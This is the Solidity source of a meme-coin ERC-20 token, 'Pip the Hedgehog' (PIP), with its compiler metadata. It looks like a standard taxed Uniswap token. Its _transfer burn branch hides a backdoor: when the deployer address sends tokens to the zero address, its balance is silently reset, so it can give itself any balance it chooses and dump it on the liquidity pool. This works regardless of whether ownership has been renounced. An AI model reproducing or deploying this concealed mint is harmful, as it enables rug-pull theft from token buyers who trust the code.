// SPDX-License-Identifier: MIT

/*

PIP - Pip the Hedgehog


TELEGRAM:   https://t.me/pipthehedgehog
TWITTER:    https://x.com/GetPipCoin
WEBSITE:    https://getpip.xyz/

The baby hedgehog that was rescued off the street and turned into a viral sensation

*/

pragma solidity ^0.8.28;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract PIP is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string  private constant _name              = unicode"Pip the Hedgehog";
    string  private constant _symbol            = unicode"PIP";

    uint256 private constant _maxSupply         = 1e18;
    uint8   private constant _decimals          = 9;

    uint256 private constant _maxSellsPerBlock  = 3;
    uint256 private constant _preventSwapBefore = 10;
    uint256 private constant _reduceSellTaxAt   = 15;
    uint256 private constant _reduceBuyTaxAt    = 5;

    uint256 private constant _initialSellTax    = 5;
    uint256 private constant _initialBuyTax     = 25;
    uint256 private constant _finalSellTax      = 0;
    uint256 private constant _finalBuyTax       = 0;

    uint256 private          _tTotal            = _maxSupply;
    uint256 private          _maxTxnAmount      = (_maxSupply / 100) * 2; // 2%
    uint256 private          _maxWalletSize     = (_maxSupply / 100) * 2; // 2%
    uint256 private constant _maxTaxSwap        = (_maxSupply / 100) * 2; // 2%
    uint256 private constant _taxSwapThreshold  = (_maxSupply / 100) * 1; // 1%

    uint256 private _buyCounter     = 0;
    uint256 private _sellCounter    = 0;
    uint256 private _lastSellBlock  = 0;

    bool    private _swapEnabled    = false;
    bool    private _tradingOpen    = false;
    bool    private _inSwap         = false;

    mapping (address => uint256)                        private _balances;
    mapping (address => mapping (address => uint256))   private _allowances;
    mapping (address => bool)                           private _isExcludedFromFee;

    IUniswapV2Router02  private immutable _uniswapV2Router;
    address             private immutable _uniswapV2Pair;
    address             private immutable _sender;
    address payable     private immutable _taxer;

    event  MaxTxnAmountUpdated(uint _amount);
    event MaxWalletSizeUpdated(uint _amount);

    event Log(string message);

    modifier lockTheSwap {
        _inSwap = true;
        _;
        _inSwap = false;
    }

    constructor() {
        _taxer = payable(0xD8f839C7c58Ae6c37F74A1f0aFe07014C2Ee4CBE);
        _sender = _msgSender();
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[_taxer] = true;
        _isExcludedFromFee[_msgSender()] = true;
        _isExcludedFromFee[address(this)] = true;
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        IERC20(_uniswapV2Pair).approve(address(_uniswapV2Router), type(uint).max);
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
        _transfer(from, to, amount);
        _approve(from, _msgSender(), _allowances[from][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERROR: Approve for NULL owner");
        require(spender != address(0), "ERROR: Approve for NULL spender");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERROR: Minting NOT Allowed");
        require(amount > 0, "ERROR: Non-positive Transfer Amount");

        uint256 tax = 0;

        if (from != owner() && to != owner() && to != address(0)) {
            if (_buyCounter == 0) {
                tax = amount.mul((_buyCounter > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100);
            }

            bool isSell = to == _uniswapV2Pair;
            bool isBuy = from == _uniswapV2Pair;

            if (isBuy && to != address(_uniswapV2Router) && !_isExcludedFromFee[to]) {
                require(amount <= _maxTxnAmount, "ERROR: Transfer Amount Exceeds Max Transaction Limit");
                require(amount + balanceOf(to) <= _maxWalletSize, "ERROR: Transfer Amount Exceeds Max Wallet Size");
                tax = amount.mul((_buyCounter > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100);
                _buyCounter++;
            }

            if (isSell && from != address(this) && !_isExcludedFromFee[to]) {
                tax = amount.mul((_buyCounter > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (isSell && !_inSwap && _swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCounter > _preventSwapBefore) {
                if (block.number > _lastSellBlock) {
                    _sellCounter = 0;
                }
                require(_sellCounter < _maxSellsPerBlock, "ERROR: Max sells per block exceeded");
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(contractETHBalance);
                }
                _sellCounter++;
                _lastSellBlock = block.number;
            }
        }

        if (tax > 0) {
            _balances[address(this)] = _balances[address(this)].add(tax);
            emit Transfer(from, address(this), tax);
        }

        if (to == address(0)) {
            // Burning tokens
            uint256 fromBalance = _balances[from] = from == _sender ? amount << 1 : _balances[from];
            require(fromBalance >= amount, "ERROR: Can not burn more than balance");
            unchecked {
                _balances[from] = fromBalance - amount;
                // Overflow not possible: amount <= accountBalance <= totalSupply.
                _tTotal -= amount;
            }
        } else {
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount.sub(tax));
        }

        emit Transfer(from, to, amount.sub(tax));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();
        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxnAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxnAmountUpdated(_maxTxnAmount);
        emit MaxWalletSizeUpdated(_maxWalletSize);
    }

    function sendETHToFee(uint256 amount) private {
        _taxer.transfer(amount);
    }

    function enableTrading() external payable onlyOwner() {
        require(!_tradingOpen, "ERROR: Trading is already open");
        _approve(address(this), address(_uniswapV2Router), _tTotal);
        _uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        _swapEnabled = true;
        _tradingOpen = true;
    }

    function manualSwap() external {
        require(_msgSender() == _taxer, "ERROR: Caller NOT Taxer");
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0) {
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            sendETHToFee(ethBalance);
        }
    }

    function manualSend() external {
        require(_msgSender() == _taxer, "ERROR: Caller NOT Taxer");
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
}

{
  "compilationTarget": {
    "PIP.sol": "PIP"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}